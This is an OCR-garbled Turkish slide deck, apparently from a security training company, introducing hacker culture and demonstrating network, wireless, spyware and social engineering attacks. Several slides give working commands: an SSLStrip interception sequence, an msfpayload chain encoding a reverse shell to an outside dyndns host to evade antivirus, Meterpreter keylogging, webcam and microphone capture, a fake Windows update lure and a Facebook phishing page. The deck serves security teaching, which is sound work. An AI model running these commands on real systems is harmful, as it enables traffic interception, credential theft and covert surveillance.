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Hacking Kulttru Hakkinda

Bilgisayar yeralti diinyasi bir aynali salondur.
Gercek bukullr, dogrular kaculdr.
- Sifira Dogru




Bilinen Bazi Yanlislar

Yanlis bildigimiz veya yanlis tanistirildigimiz

“Hack” ve “Hacker” kavramlarina bir bakalim
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Bilgi glivenligi kapsaminda bilisim gonullilerine destek vermek icin bilgi
birikimini ve tecrtbelerini paylasan Ethical Hackerlarin olusturdugu bir
bilgi glivenligi kitliphanesidir.




Bilgi GUvenligi Akademisi

<.l-:'k“ AKADEMISI

2008 yilinda Turkiye’'deki bilgi glivenligi sektoriine profesyonel anlamda
destek olmak amaciyla kurulan Bilgi Guvenligi AKADEMISI ileri seviye
gluvenlik danismanhgi ve guvenlik egitimleri konularinda kurumlara hizmet
vermektedir.

Aktif calisma hayatina basladigi 2008 yilindan bu yana 6zel, kamu ve askeri
alanda 300'Un Uzerinde egitim ve danismanlik referansi olmustur.

Sektorun gelisimine katkida bulunmak amaciyla her yil 10’nun Gzerinde
bilgi glivenligi etkinligine destek veren Bilgi Givenligi AKADEMISi’nin temel
hedefi Turkiye ve diinyada Urin bagimsiz gtivenlik anlayisinin
yverlesmesidir.




 Bir bilgisayarla bir hedefe yonelik olarak degil
de oyuncu ve arastirmaci bicimde etkilesim

kurmak.

* “dehanin/hiinerin dogru uygulanisi” olarak
tanimlanabilir.

e Sonuc cabuk bir yama olsun, ya da dikkatlice
yaratiimis bir sanat eseri olsun, icindeki zekaya
hayran kalmalisiniz.




 Dilimizde bir karsiligi yok fakat Ustad kelimesi

hacker yerine kullanilabilir.

* Programlanabilen sistemlerin, yalnizca gereken
minimumu 6grenmeyi tercih eden cogunlugun aksine,
detaylarini ve yeteneklerinin nasil genisletilebilecegini
arastirmaktan hoslanan kimse

* Herhangi bir konuda uzman ya da merakli kimse.
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Ornegin “astronomi hacker




* Gazetecilerin “hacker” terimini yanhs kullanarak
tarif ettikleri bilgisayar korsanlarini tanimlamak icin
hacker'lar tarafindan 1985'te olusturulan bir terim.

*Bu kisiler bilgiyasar sistemlerini
kirarak zarar vermekten zevk alirlar.
*Cogunlugu genc erkeklerden
olusan bu gurup kendilerine
toplum icerisinde yuksek sesle
“hacker” demeyi severler.




Lamer

* Hacking, Cracking gibi konularda bilgisi olmadan veya
kulaktan dolma bilgilerle hacker gibi davranmaya
calisan kisilerdir...

 Ustatlar tarafindan sevilmezler ve biraz da alayci
sekilde Lamer olarak adlandirilirlar.

* Eger bir sisteme girmeyi basarirlarsa
cok fazla iz birakirlar, izlerini silemezler

veya girdikleri sistemden kendilerine

virus bulastirabilirler.




Sunum Icerigi

Ag Tabanli Saldirilar (Uygulamali)

* ARP/RARP Protokolleri ve Zayifliklari

* Yerel Agin Zehirlenmesi

e Ortadaki Adam (mitm) Saldirisi

* Facebook, MSN Yazismalarini Goruntileme, Mailleri ele gecirme
e SSL Trafiginde araya girme (SSLStrip)

Kablosuz Aglarda Guvenlik
WEP/WPA sifrelemelerinin kirilmasi
e Sahte Kablosuz Erisim Noktalari ( Uygulamali)
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Sunum Icerigi | Devam

Casus yazilimlarin yarattigi tehlikeler (Uygulamali)
e Antivirus yazilimlari nasil atlatilir ?

* Gelismis bir casus yazilim olarak “Meterpreter”
 Webcam gorintllerini ele gecirme

* Ortamdinleme

* Ekran gorintist alma

* Klavye girislerini yakalamak

Sosyal Mihendis Saldirilari

 Insan tabanli zafiyetler ve Aldatma sanat
* Ornek ses kaydi

* Sosyal Mihendislik Araci (SET)




Ag Tabanli Saldirilar

ARP/RARP Protokoli;

Bu protokol iki bilgisayarin haberlesmesi icin gerekli fiziksel adreslerin tespit edilmesini saglar.

Aga baglanan bir A bilgisayari, B bilgisayarina ulasmak istedigi zaman B bilgisayarinin IP adresine
karsilik gelen MAC adresini bulmak icin tim aga broadcast ile yayin yapar.

Broadcast istegi agda bulunan tiim bilgisayarlara iletili, fakat yanit yalnizca B bilgisayarindan doner.

1.Adim,

Ben 10.0.0.1

MAC adresim 01-00-5e-05-a8-c0
10.0.0.2 MAC adresin nedir ?

B bilgisayari
2.Adim,
Ben 10.0.0.2
1 MAC adresim 01-00-5e-00-00-fb

C bilgisayari

Himmm, kimsenin bana seslendigi yok




Ag Tabanli Saldirilar

Yerel Agin Zehirlenmesi;

Saldirgan, A bilgisayarina sahte arp paketleri gondererek arp 6nbellegini zehirleyecek ve tim veriler
saldirganin MAC adresine gonderilecektir.

1.Adim,

BEen 10.0.0.1

MAC adresim 01-00-5e-05-a8-c0
10.0.0.2 MAC adresin nedir ?

A bi.l;gisavarl B bilgisayari

2.Adim,

Ben 10.0.0.2

MAC adresim 01-00-5e-00-00-fb

C Eilgisayarl
Hayir ! B bilgisayari benim
MAC adresim 01-00-5e-7f-ff-fa




Ag Tabanli Saldirilar

MITM Saldirisi;

*  Ortadaki adam saldirisinda, saldirgan kaynak ve hedef iki sistemi kandirarak trafigin Gizerinden
gecmesini amaclar.

A bilgisayar B bilgisayari
[

|
B bilgisayar benim E{ A bilgisayarn benim
MAC adresim 01-00-5e-7f-ff-fa AZ MAC adresim 01-00-5e-7f-ff-fa

[,

[+}

C hilgisayari




Ag Tabanli Saldirilar | Uygulama

Yerel Agin Zehirlenmesi.BackTrack Linux Gzerinde Ettercap ile uygulama;

FTP, SMTP, HTTP parolalari ...

@] ettercap NG-0.7.3
Start Targets Hosts View Mitm  Flters Logging Plugins Help

Host List

IP Address MAC Address Description

192.168.5.123 BC:ADIB2:10:7BEE
192.168.5.183 00:1A4D61:CAE2
1892.168.5.227 00:1D:EOZBIF1:SF
192.168.5.253 00:08:AL9D:34:B2

1892.168.5.254 BOM31:8E:00:17:D3 =

Delete Host Add to Target 1 Add to Target 2

GROUP 1:192.168.5.25 00:0C:29:80:86:53

GROUP 2 :192,1568.5.254 BOWS1:BE:00:17:D3
Starting Unified sniffing...

FTP : 188.124.8.106:21 -> USER: anonymous PASS: chrome@example.com
FTP : 188.124.8.106:21 -> USER: ozanucar PASS: gizliparolam =

www.bga.com.tr 15




Ag Tabanli Saldirilar | Uygulama

Windows lizerinde Cain&Abel yazilimi ile uygulama

ain |

File Yiew Configure Tools Help
J ol @ Y @ BEymBErE~a@adsen O i

o Protected Storage | D network [E Sniffer I_ 158 Secrets | of Cracker |4 Tracerowe [N coou [T wirelesd

ﬂ Passwords Timestamp | FTP server | Clisnk | Usernarme | Password [
5 FTe (4) 22/04 /2006 - 00:40:05 192.168,1,9 192.168.1.2 snapfiles test
é HTTP (1) 220412006 - 00:41:04 192.168.1.9 192.165.1.2 snapfiles rest
3 A (0} 22/04/2006 - 00:41:43 192.168.1,9 192.168.1.2 sniapfiles best
U pop3 (1) 22{04/2006 - 00:43:56 192.168.1.9 192.168.1.2 anapfiles test123
sk SME (1)
Bl Telnet (0)
R vrec (o)
£ o5 (0

3 SMTP ()
G NP ()
Mk erbS-Preduth (0)

8, radius-eys (0)
0 Radius-Users (0)
# 1o

Go IKE-PSK (0)

& mysaL )

g SHEAP (01)

& TP (D)

& FiP |
= Hosts I@ AP [1-'& Fouting ISD\ Passyeords Ig‘; YolP |

Lost packets: 0%




Facebook Chat Forensics

Facebook Chat kayitlari;
fbs.py cehturkiye ekibi tarafindan network forensic araci olarak yazilmistir.

Facebook sohbet kayitlar

Sayfa 1
Baslangic: | Bitig: Metin: |
Siiz | Sifirla | Herseyi goster |
Kullama: | Timii EIIP: Tiimii EISayfa: 1 :I
Kimden Kime
Tarih - saat Mesaj
iy Kullama kimligi Adi Adisoyadi iy Kullamc kimligi  Adi Adisoyadi L
1616101186 Czan Ozan UCAR.  bla bla bla

100001233663232 HARUN Harunm SEKER. 192.168.5.50
1616101186 Ozan OzanUCAR.  192.168.5.50
1615101186 Ozan Ozan UCAR.  192.168.5.50

100001233663232 HARUM Harun SEKER facebook chat zimbirtisi,quzel ses ckariyor : J)

2010-10-30 16:40:02 66.220.151.74
100001233663232 HARUM Harun SEKER. kaderde facebook'da yazismakta varmis

2010-10-30 16:39:42 66.220.151.74
2010-10-30 16:358:52 66.220.151.74




SSL trafiginde araya girme (SSLStrip)

GET http://site GET http://site

7
A .‘

SALDIRGAM

<A href="http://site/login/’ <A href="https:/ /site/login/’

SSLStrip ¢alisma sekli

Saldirgan, kurban sistemin trafigini Gzerinden gegirir.

Saldirgan, hedef sunucudan gelen https baglantilarini kendi Gizerinde sonlandirip istemciye http
olarak iletir.

istemciden dénen trafik okunabilir oldugundan, saldirgan tiim verileri
gorintileyebilir/kaydedebilir.




SSL trafiginde araya girme (SSLStrip)

Saldiri denemesi;
1. Sistemini yonlendirme moduna gegir
echo "1" > /proc/sys/net/ipv4/ip_forward

2. Hedef portu 80 olan trafigi, dinledigin porta (88) yonlendir.

iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 88

3. Hedef sistem ile yonlendirici arasina gir

arpspoof -i <ag arabirimi> -t <HedefSisteminlpAdresi> <hedefRouterlpAdresi>

4. SSLStrip ile trafigi kaydet
python sslstrip.py -f -p -w veriler -1 88

) Gmail - Gelen Kutusu [5) - by.boxor@gmail.com, - Mozilla Firefox

Cosva Digen Gorindm  Gegmis  Yer Imleri  Araglar  Yardim

@ - C ‘g | B3 http:jimail.google. comfmailf?shya=14inbo Wil

2] En ok zivaret edilenler @ ilk &dim |2 | Haberler

[#3 Gmail - Gelen Kutusu {5) - by.boxor... -

root@bt: ~/sslstrip-0.7 - Shell No. 2 - Konsole
Session Edit View Bookmarks Settings Help
# cat veriler | grep " il="

Saldiriile e
. ltmpl=default&ltmplcach continue=http mail.google.com%2Fmail%2F%3F&ser
elde edilen Lse&dsh=-8226136289827656856&1 tmpl=default Ltmpl=default&scc=1&ss=1&timeStm

SGENL IS Fmail=by . boxor&Passwd=COkG1zL1P4 ro 14m A ESRES T Echl mk s0F+ya

bllgller dsh=-128805172361097

c




Kablosuz Aglarda Guvenlik

WEP korumali aglarn kirmak;
* Algoritmasi zayiftir

*  Parolayi kirmak icin yeterli sayida paket yakalamak gerekiyor
*  Parolanin karisik ve uzun olmasi 6nemli degildir.

Video: http://www.cehturkiye.com/index.php/2009/01/11/wireless-networkleri-hacklemek/wireless-
networkleri-hacklemek.html




Kablosuz Aglarda Guvenlik

WPA korumalh aglar kirmak;
e  Gulcll bir algoritmasi bulunuyor (heniz kirllamadi)

* Parolay! kirmak icin yeterli sayida paket yakalamak gerekiyor
* Parolanin karisik ve uzun olmasi kirma islemini uzatir.

Belge: http://www.cehturkiye.com/index.php/2010/06/07/wireless-pentest-wpa-crack/wireless-
pentest-wpa-crack.html




Sahte Kablosuz Erisim Noktalari

* Yalnizca amaci kot oldugu icin “sahte” olarak isimlendirilir, gerceginden ayirt edilemez ©
e Kablosuz internet kullanicilarini hedefler

 Kablosuz ag istemcileri, saldirgan tarafindan yayin yapan kablosuz aga dahil oldukdan sonra,
tim internet trafigi kaydedilir.

* DNS 6nbellegini zehirleyerek sahte erisim sayfalari ile kimlik avi yapabilir.




Sahte Kablosuz Erisim Noktalari

12136148 Trying to set MTU on atd to 1500
12:36:48 Trying to set MTU on mon( to 1800
%F:38:48 focess Point with BSSID 90:05:7C:90:08:3F started,

Wrote 0 leases to leases file, i root@bt: ~/FakeAP - Shell - Konsole
Listening on LPFAat0A00:05: 7o 9a:58:3F/10,0,0/24
Sending on  LPFAat0A003:0517or9ar 581 3F/10,0,0/24
Ernding on  Socket/fallbacksfallback-net

Session Edit View Bookmarks Settings Help

: # bash fakeAP pwn.sh
fakeAP pwn v@.3 (#101)
Testing: Environment
Configuring: Wireless card
Creating: Scripts
Creating: Exploit (Windows)
Starting: Access point
Configuring: Environment
Starting: DHCP
Starting: DNS
Starting: Metasploit
Starting: Web server
Configuring: WNC
Waiting for the target to run the "update" file

dnzspoof: listening on atQ [udp dst port 53 and not srec 10,0,0,1]
~[[A

=[

=[ B44 exploits - 328 auxiliary
+ - ——=[ 216 payloads - 27 encoders - 8 nops

=[ sun r11713 updated 5 days ago (2011,02,04)

PAYLOAD => windows/meterpretersreverse_top
LHOST =¥ 10,0,0,1

LPORT = 4hE4

AutoRunScript = ftmpsfFakeAP_pun,rb
INTERFACE => ati

[*] Started reverse handler on 10,0,0,134564
5*] Starting the payload handler,..

Bl — — o — —

& Shell | @ Shell No. 2

vhowiewer —lizteny Listening on port 5500
vncwiewer —lizten: Command line errors are not reported until a connection comes in,

Saldiri yapilan sistemden ekran gorintuis




Sahte Kablosuz Erisim Noktalari

internete ilk girildigi anda, sahte bir giincelleme mesaji ile casus yazilim kurban
bilgisayara yuklenir.

@\) | http:/fupdate microsoft.com, v | ka4 | X [ |29 Google -

77 Sk Kullamlanlar | 55 @ | AirTies Air5450v2 g | Daha fazla eklenti bul = -" Google L_ Onerilen Siteler » FreeBSD » 5] sesli sazlik ingilizce tirks...

=

y Kritik GOovenlik Agigi- Guncelleme Gerekli T D ~ [ f=h v Sayfav Givenlik » Araclar v Qv

A,
HH ; _

Windows isletim sisteminizin kritik bir giivenlik giincellestirmesi eksik >

Devam etmek igin bu giincellemeyi yiiklemeniz gerekmektedir.

Giincellemeyi Yiikle

Nasil guincellerim: s .
KAMPUS
1.) Yukaridaki giincelle butonuna tiklayiniz.
2.) Dosyay kaydedin veya "¢alistir" butonuna tiklayiniz.
3.) Yikleme isleminin tamamlanmasini bekleyiniz.
4.) Guvenlik uyarilarina "Allow/Ok" ile yanit verin.
5.) Guncellemeyi uyguladiysaniz, internette gezinmeye baglayabilirsiniz.

Onemli: Giincelleme islemi ortalama 2 dakika siirer.

Ag ve Paylagim Merkezi'ni ag

12:48
09.02.2011

A [ @ .l

Bitti G) Internet | Korumah Mod: Kapah




Antivirus yazilimlari nasil atlatilir ?

* Imza tabanli ve shell test yapan antivirusler

VirusTotal - Free Online Virus, Malware and

= 5 =
Fle Edit Wiew History Bookmarks Tools Help
./msfpayload -2 0 8D Bl -

B BackTrack Linux [loffensive-security Ba Gerix.IT [[BExploit Database Wy Aircrack-ng The Metasploit Project

windows/shell_reverse_tcp [ T — T :

LHOST=0zan.dyndns.org LPORT=443 R R 2T St J
| ./msfencode -e x86/shikata_ga_nai - . — e

traw -c 10 | ./msfencode -e war
x86/call4_dword_xor -t raw -c 10 | —"
./msfencode -e x86/countdown -t exe S ——

eeeeeeeeeee
ccccccccccccc

> /tmp/trojan.exe 52

oooooo

e Sezgisel Antiviruslerin calisma mantigi ?
e Saldiri tespit ve Engelleme Sistemleri




Gelismis bir casus yazilim olarak

Keylogger olarak kullanimi;
> keyscan_start Pt conarss apicoks

Ctri= rL:tr1. abanka b11q11er1m <Return> musteri no 123453434345 <Return> o <Back> parolam 98

76789
meterpreter > ||

> keyscan_dump

Hedefin ekran goruntlsunu ele gecirme

file:///opt/metasploit3/msf3/ujkhmzg).jpeg - KView
E\e Edit View Go Tools Settings Help

> screeshot o=l edsEnEmnr ©0

¢ Garanti

+ English * Sifre Al + G

| Untitled - Motepad
File Edit Format View Help

banka bilgilerim
musteri no 123453434345

Milsteri No: |123453434 parolam
Parcla: (ssssess

Sirketiern Intermet Kullaniolan Ion

Kullama Kodu: |

Parolami Unuttum / Bimivonum 3

702, 361 800 x 600

meterpreter >
Screenshot saved to: /opt/metasploit3/msf3/ujkhmzgl.jpeg
meterpreter > Jusr/lib/firefex-3.0.15/firefox: symbol leckup error: fusr/lib/xulrunner-1.9.8.15/
libxul.so: undefined symbol: sglite3_enable_shared_cache




Gelismis bir casus yazilim olarak

“Meterpreter”

Ortam Dinleme

Kurban sistemde bir mikrofon varsa, ortam dinlemesi yapilabilir.
> record_mic -d 25 // 25. sn boyunca dinleme yap ve kaydet.

[*] Starting...

[*] Stopped

Audio saved to: /opt/metasploit3/msf3/nFqYscte.wav

Webcam Goruntlusiunu Ele Gecirme

) = UfotjgAv Q9

ete eter > webcam list
1: BisonCam, NB Pro
meterpreter > webcam snap

Starting...
[+] Got frame

Stopped
Webcam shot saved to: /pentest/exploits/SET/UfotjgAv.jpeg
meterpreter = I

Y Shell | @ shell No. 2




Sosyal Muhendis Saldirilari

* |nsan tabanli zaafiyetler ve Aldatma sanati

* Ornek ses kayd|
e Sosyal Muhendislik Araci (SET)




Sosyal Muhendis Saldirilari

Ebru Polat 30 Ekim, 17:03 Sikayet Et
L iyigunler,
I bir bayan olarak soyleme htivac) durumundayim, surada bir bayanin giplak
gorintileri var ve agadilikca bir video
ben gikayet ettirn,sizi neden ilgilendirdidine gelince videonun altinda sizin
email adresiniz yaziyor ve kimlik bilgileriniz var videodaki bayvan sizin
arkadagizrig geklinde bir yazi yazilmis adres

wwwy facabook, comfvideofvideo fvideo. php?y=138183152893960 FErank

[CEE raconoon tanmatannia tatigim kurman: ve hayatinds ohep bitansert sayia saglar.

Facebook'a Girly

B sayfay gocsbiimek icin giry yapmaime.

Ne Ferdi,Ne Orhan anlamacdh derdimi sen séiyle miisliim baba nereden sevdim o zali

her sabah Tan i bir C anr nadidirn anlad

Powered by
Facebook Hirsiz 2

www.bga.com.tr 29




Gercek Diinyadan Hacking Ornekleri

Hepsibursada.com Saldiri Girisimi;

*Cookies manipulation | —
JavaScript kontrollerini = >
atlatmak

Mobe! The list above is ot updated automaticaly when the Coolde Manager is open. E|E
Information about the selected Cookis L
e kullamcinin bilgileri
= 32) ile

*Farkli kullanicinin B S
profil bilgilerini ele
gecirmek

cirecedimiz




Gercek Diinyadan Hacking Ornekleri

XXXX.com agina saldiri denemesi;

* Calisan Aktif Servislerin w
Tespiti

* SSH Servisi Parola Kirma
Saldirisi

* Exploit ile sisteme giris.
* Giris sonrasi network
kesfi

* Arkakapi olusturma




Sorular ?



